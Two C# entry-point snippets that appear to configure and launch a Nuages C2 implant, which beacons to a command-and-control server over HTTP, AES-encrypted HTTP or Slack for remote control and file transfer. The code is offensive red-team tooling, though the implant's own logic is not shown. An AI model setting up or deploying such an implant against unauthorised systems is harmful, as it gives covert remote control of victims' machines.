static void Main(string[] args) { Dictionary <string, string> config = new Dictionary <string, string>(); // Sleep time in between heartbeats config["sleep"] = "5"; // Buffer size for pipes (file transfers / tcp / interactive) config["buffersize"] = "450"; // Refreshrate in milliseconds config["refreshrate"] = "500"; // If the Direct connector is used (VERY BAD PRACTICE - Only for POC) // DirectConnection connection = new DirectConnection("http://127.0.0.1:3030/implant/", int.Parse(config["buffersize"]), int.Parse(config["refreshrate"])); // If the HTTPAES256 Handler is used: HTTPAES256Connection connection = new HTTPAES256Connection("http://127.0.0.1:18888", "password", int.Parse(config["buffersize"]), int.Parse(config["refreshrate"])); // If the SLACKAES256 Handler is used: // SLACKAES256Connection connection = new SLACKAES256Connection("password", "CHANNELID", "SLACK_BOT_TOKEN", "SLACK_APP_TOKEN", int.Parse(config["buffersize"]), int.Parse(config["refreshrate"])); NuagesC2Connector connector = new NuagesC2Connector(connection); NuagesC2Implant implant = new NuagesC2Implant(config, connector); implant.Start(); }
static void Main(string[] args) { NuagesC2Direct connector = new NuagesC2Direct("http://127.0.0.1:3030"); // If the PyAES256 Handler is used: // NuagesC2PyAES256 connector = new NuagesC2PyAES256("http://192.168.49.1:4040", "PASSWORD"); Dictionary <string, string> config = new Dictionary <string, string>(); config["sleep"] = "1"; config["maxrequestsize"] = "50000"; NuagesC2Implant implant = new NuagesC2Implant(config, connector); implant.Start(); }